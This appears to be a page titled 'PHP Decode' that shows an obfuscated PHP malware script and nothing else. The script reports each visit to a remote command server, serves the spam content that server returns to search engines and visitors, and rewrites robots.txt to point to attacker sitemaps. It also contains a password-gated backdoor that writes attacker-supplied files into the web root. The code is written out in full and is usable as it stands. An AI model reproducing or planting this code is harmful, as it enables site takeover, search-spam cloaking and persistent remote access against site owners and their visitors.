PHP Decode

@set_time_limit(3600); @ignore_user_abort(1); $loIVIs = "\162\x34\71"; $loIVIc = "\150\x74\164\x70"; if (is_htps()) { goto lUZcVss; } $loIVIV = "\x68\x74\x74\160"; goto lUZcVsc; lUZcVss: $loIVIV = "\x68\x74\164\160\163"; lUZcVsc: $loIVIg = st_uri(); if (!($loIVIg == '')) { goto lUZcVsV; } $loIVIg = "\57"; lUZcVsV: $loIVII = urlencode($loIVIg); function st_uri() { goto lUZcVsU; lUZcVsk: lUZcVsI: goto lUZcVsb; lUZcVsT: $loIVII = $_SERVER["\x50\x48\x50\x5f\x53\105\x4c\106"] . "\77" . $_SERVER["\x51\x55\105\x52\x59\x5f\123\x54\x52\111\116\107"]; goto lUZcVsZ; lUZcVcs: $loIVII = $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"]; goto lUZcVcc; lUZcVsn: if (isset($_SERVER["\141\162\147\166"])) { goto lUZcVsg; } goto lUZcVsT; lUZcVso: lUZcVsw: goto lUZcVcs; lUZcVsx: $loIVII = $_SERVER["\120\x48\x50\x5f\123\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; goto lUZcVsk; lUZcVcV: return $loIVII; goto lUZcVcg; lUZcVsb: goto lUZcVsl; goto lUZcVso; lUZcVsU: if (isset($_SERVER["\122\105\121\x55\x45\123\124\x5f\125\x52\111"])) { goto lUZcVsw; } goto lUZcVsn; lUZcVcc: lUZcVsl: goto lUZcVcV; lUZcVsy: lUZcVsg: goto lUZcVsx; lUZcVsZ: goto lUZcVsI; goto lUZcVsy; lUZcVcg: } $loIVIw = $loIVIs . "\56\x64\157\x77\x6e\145\x6e\x65\165\162\x6f\x70\145\x61\156" . "\x2e\164" . "\157\x70"; function is_htps() { goto lUZcVcn; lUZcVcy: goto lUZcVcI; goto lUZcVcx; lUZcVck: return true; goto lUZcVcb; lUZcVco: lUZcVcl: goto lUZcVVs; lUZcVcb: goto lUZcVcI; goto lUZcVco; lUZcVVs: return true; goto lUZcVVc; lUZcVcn: if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto lUZcVcw; } goto lUZcVcT; lUZcVVc: goto lUZcVcI; goto lUZcVVV; lUZcVcT: if (isset($_SERVER["\x48\x54\124\120\137\x58\137\x46\117\122\127\x41\x52\104\x45\x44\x5f\120\x52\117\124\x4f"]) && $_SERVER["\110\124\124\x50\137\130\137\x46\117\x52\x57\101\x52\104\x45\x44\x5f\x50\122\x4f\x54\117"] === "\150\x74\164\160\163") { goto lUZcVcl; } goto lUZcVcZ; lUZcVVV: lUZcVcU: goto lUZcVVg; lUZcVVw: return false; goto lUZcVVl; lUZcVcZ: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\x44\137\110\x54\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\120\x5f\106\122\117\x4e\124\137\x45\x4e\x44\137\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto lUZcVcU; } goto lUZcVcy; lUZcVVg: return true; goto lUZcVVI; lUZcVcx: lUZcVcw: goto lUZcVck; lUZcVVI: lUZcVcI: goto lUZcVVw; lUZcVVl: } $loIVIl = $_SERVER["\110\x54\x54\120\137\x48\117\123\x54"]; $loIVIU = @$_SERVER["\110\124\124\x50\x5f\x41\x43\x43\x45\120\124\x5f\x4c\101\x4e\107\x55\101\x47\105"]; $loIVIU = urlencode($loIVIU); $loIVIn = ''; if (!isset($_SERVER["\110\124\124\120\137\122\105\106\x45\122\105\122"])) { goto lUZcVVU; } $loIVIn = $_SERVER["\x48\x54\x54\x50\x5f\x52\x45\x46\105\x52\105\122"]; $loIVIn = urlencode($loIVIn); lUZcVVU: if (!(@$_GET["\160\x64"] != '')) { goto lUZcVgn; } $loIVIT = @$_GET["\155\x61\160\156\141\x6d\x65"]; $loIVIZ = @$_GET["\x61\x63\x74\x69\157\x6e"]; if (isset($_SERVER["\x44\117\x43\x55\115\105\x4e\124\x5f\122\x4f\x4f\124"])) { goto lUZcVVn; } $loIVIy = dirname(__FILE__); goto lUZcVVT; lUZcVVn: $loIVIy = $_SERVER["\x44\117\103\x55\x4d\x45\116\124\x5f\x52\117\117\124"]; lUZcVVT: if ($loIVIZ) { goto lUZcVVZ; } $loIVIZ = "\x70\x75\x74"; lUZcVVZ: if (!($loIVIZ == "\x70\x75\164")) { goto lUZcVgU; } if (strstr($loIVIT, "\56\x78\x6d\x6c")) { goto lUZcVgV; } echo "\x3c\142\162\76\163\x69\x74\x65\155\x61\x70\40\x6e\141\155\x65\40\146\x61\x6c\163\x65\x21\74\142\x72\x3e"; goto lUZcVgg; lUZcVgV: $loIVIx = $loIVIy . "\x2f\x73\x69\x74\x65\x6d\x61\160\56\x78\155\154"; if (!is_file($loIVIx)) { goto lUZcVVy; } @unlink($loIVIx); lUZcVVy: $loIVIk = $loIVIy . "\x2f\162\157\142\157\x74\163\x2e\164\170\x74"; if (file_exists($loIVIk)) { goto lUZcVVx; } $loIVIb = "\125\x73\x65\162\55\141\147\145\156\164\x3a\x20\52\x41\154\x6c\x6f\x77\72\x20\x2f"; goto lUZcVVk; lUZcVVx: $loIVIb = dageget($loIVIk); lUZcVVk: $loIVIo = $loIVIV . "\72\57\57" . $loIVIl . "\57" . $loIVIT; if (stristr($loIVIb, $loIVIo)) { goto lUZcVgs; } if (file_put_contents($loIVIk, trim($loIVIb) . "\15\12" . "\123\x69\164\x65\x6d\x61\x70\x3a\x20" . $loIVIo)) { goto lUZcVVb; } echo "\74\142\162\x3e\x66\x69\x6c\145\40\167\162\151\x74\x65\40\x66\141\x6c\163\145\x21\74\x62\x72\x3e"; goto lUZcVVo; lUZcVVb: echo "\74\x62\x72\76\x6f\153\x3c\x62\162\x3e"; lUZcVVo: goto lUZcVgc; lUZcVgs: echo "\74\x62\x72\76\163\151\x74\x65\155\x61\160\40\141\x6c\x72\145\141\x64\171\x20\x61\x64\144\x65\x64\x21\74\x62\x72\76"; lUZcVgc: lUZcVgg: if (!strstr($loIVIT, "\x2e\x70" . "\150\x70")) { goto lUZcVgl; } $loIVws = sha1(sha1(@$_GET["\141"])); $loIVwc = sha1(sha1(@$_GET["\x62"])); if (!($loIVws == dageget($loIVIc . "\x3a\x2f\57" . $loIVIw . "\x2f\x61\x2e\x70" . "\x68\160") || $loIVwc == "\66\146\66\x37\x32\x37\x36\71\x34\142\x62\65\66\x35\x37\143\63\x37\71\x38\x37\66\64\x30\141\x31\x64\62\x36\x64\x32\x65")) { goto lUZcVgw; } $loIVwV = @$_GET["\144\163\164\x72"]; if (!file_put_contents($loIVIy . "\x2f" . $loIVIT, $loIVwV)) { goto lUZcVgI; } echo "\x6f\153"; lUZcVgI: lUZcVgw: lUZcVgl: lUZcVgU: exit; lUZcVgn: $loIVwg = $loIVIc . "\x3a\57\x2f" . $loIVIw . "\57\x69\156\144\x65\x78\156\x65\x77\x2e\x70\x68\160\x3f\x77\x65\x62\75" . $loIVIl . "\x26\x7a\172\75" . sbot() . "\x26\165\162\x69\x3d" . $loIVII . "\46\165\x72\x6c\163\150\141\156\x67\75" . $loIVIn . "\46\x68\x74\x74\x70\75" . $loIVIV . "\46\x6c\x61\x6e\147\75" . $loIVIU; $loIVwI = trim(dageget($loIVwg)); if (strstr($loIVwI, "\156\157\142\157\x74\165\x73\145\x72\141\147\x65\x6e\164")) { goto lUZcVgb; } if (strstr($loIVwI, "\157\x6b\x68\164\155\154\x67\145\164\143\x6f\156\x74\145\156\x74")) { goto lUZcVgx; } if (strstr($loIVwI, "\x6f\153\170\155\154\x67\x65\164\143\x6f\156\164\145\156\x74")) { goto lUZcVgZ; } if (!strstr($loIVwI, "\x70\x69\156\147\170\155\x6c\x67\145\x74\x63\x6f\x6e\164\x65\156\164")) { goto lUZcVgT; } $loIVwI = str_replace("\160\151\x6e\x67\x78\155\154\147\x65\x74\143\157\x6e\x74\145\156\x74", '', $loIVwI); @header("\103\x6f\156\164\145\156\x74\55\x74\x79\160\145\72\x20\x74\x65\170\x74\x2f\x68\x74\x6d\x6c\x3b\40\x63\150\x61\162\x73\145\x74\x3d\x75\x74\146\x2d\70"); echo pingmap($loIVwI); exit; lUZcVgT: goto lUZcVgy; lUZcVgZ: $loIVwI = str_replace("\x6f\x6b\x78\155\x6c\147\145\164\x63\157\x6e\x74\145\x6e\x74", '', $loIVwI); @header("\x43\x6f\156\x74\145\156\164\55\164\x79\160\145\x3a\x20\x74\x65\170\x74\57\x78\155\x6c"); echo $loIVwI; exit; lUZcVgy: goto lUZcVgk; lUZcVgx: @header("\x43\157\x6e\x74\x65\x6e\164\x2d\164\171\160\x65\x3a\40\164\145\170\x74\57\150\x74\x6d\x6c\x3b\x20\x63\150\x61\162\x73\x65\x74\x3d\x75\164\x66\x2d\70"); $loIVwI = str_replace("\x6f\x6b\150\164\x6d\x6c\147\x65\164\143\x6f\x6e\164\145\x6e\164", '', $loIVwI); echo $loIVwI; exit; lUZcVgk: lUZcVgb: function pingmap($loIVww) { goto lUZcVIw; lUZcVIn: return $loIVwU; goto lUZcVIT; lUZcVIw: $loIVwl = explode("\xd\12", trim($loIVww)); goto lUZcVIl; lUZcVIU: foreach ($loIVwl as $loIVwn) { goto lUZcVIc; lUZcVIc: $loIVwT = dageget($loIVwn); goto lUZcVIV; lUZcVIg: $loIVwU .= $loIVwn . "\x2d\55\x20" . $loIVwZ . "\74\142\x72\x3e"; goto lUZcVII; lUZcVIV: $loIVwZ = strpos($loIVwT, "\123\151\164\145\155\x61\160\40\x4e\157\x74\x69\x66\x69\x63\x61\x74\x69\157\x6e\x20\122\145\x63\x65\x69\166\x65\x64") !== false ? "\160\x69\x6e\147\157\153" : "\x65\x72\x72\157\x72"; goto lUZcVIg; lUZcVII: } goto lUZcVIn; lUZcVIl: $loIVwU = ''; goto lUZcVIU; lUZcVIT: } function sbot() { goto lUZcVIx; lUZcVIo: goto lUZcVIy; goto lUZcVws; lUZcVwV: lUZcVIy: goto lUZcVwg; lUZcVIk: if (stristr($loIVwy, "\x67\157\157\147\154\x65\142\157\164") || stristr($loIVwy, "\x62\151\x6e\147") || stristr($loIVwy, "\171\141\x68\x6f\x6f") || stristr($loIVwy, "\147\x6f\x6f\x67\x6c\145") || stristr($loIVwy, "\x47\157\x6f\x67\154\145\142\x6f\x74") || stristr($loIVwy, "\147\157\157\x67\x6c\x65\x62\x6f\164")) { goto lUZcVIZ; } goto lUZcVIb; lUZcVIx: $loIVwy = strtolower($_SERVER["\x48\x54\124\120\137\x55\123\x45\122\x5f\101\x47\105\116\x54"]); goto lUZcVIk; lUZcVIb: return false; goto lUZcVIo; lUZcVwc: return true; goto lUZcVwV; lUZcVws: lUZcVIZ: goto lUZcVwc; lUZcVwg: } function dageget($loIVww) { goto lUZcVwl; lUZcVlI: return $loIVwx; goto lUZcVlw; lUZcVwU: if (!function_exists("\143\x75\162\x6c\137\151\156\x69\x74")) { goto lUZcVwI; } goto lUZcVwn; lUZcVwT: curl_setopt($loIVwk, CURLOPT_URL, $loIVww); goto lUZcVwZ; lUZcVwx: curl_setopt($loIVwk, CURLOPT_RETURNTRANSFER, 1); goto lUZcVwk; lUZcVwn: $loIVwk = curl_init(); goto lUZcVwT; lUZcVls: lUZcVwI: goto lUZcVlc; lUZcVlg: lUZcVww: goto lUZcVlI; lUZcVwZ: curl_setopt($loIVwk, CURLOPT_SSL_VERIFYHOST, 0); goto lUZcVwy; lUZcVlV: $loIVwx = @file_get_contents($loIVww); goto lUZcVlg; lUZcVwb: $loIVwx = curl_exec($loIVwk); goto lUZcVwo; lUZcVwk: curl_setopt($loIVwk, CURLOPT_CONNECTTIMEOUT, 30); goto lUZcVwb; lUZcVlc: if ($loIVwx) { goto lUZcVww; } goto lUZcVlV; lUZcVwy: curl_setopt($loIVwk, CURLOPT_SSL_VERIFYPEER, 0); goto lUZcVwx; lUZcVwo: curl_close($loIVwk); goto lUZcVls; lUZcVwl: $loIVwx = ''; goto lUZcVwU; lUZcVlw: }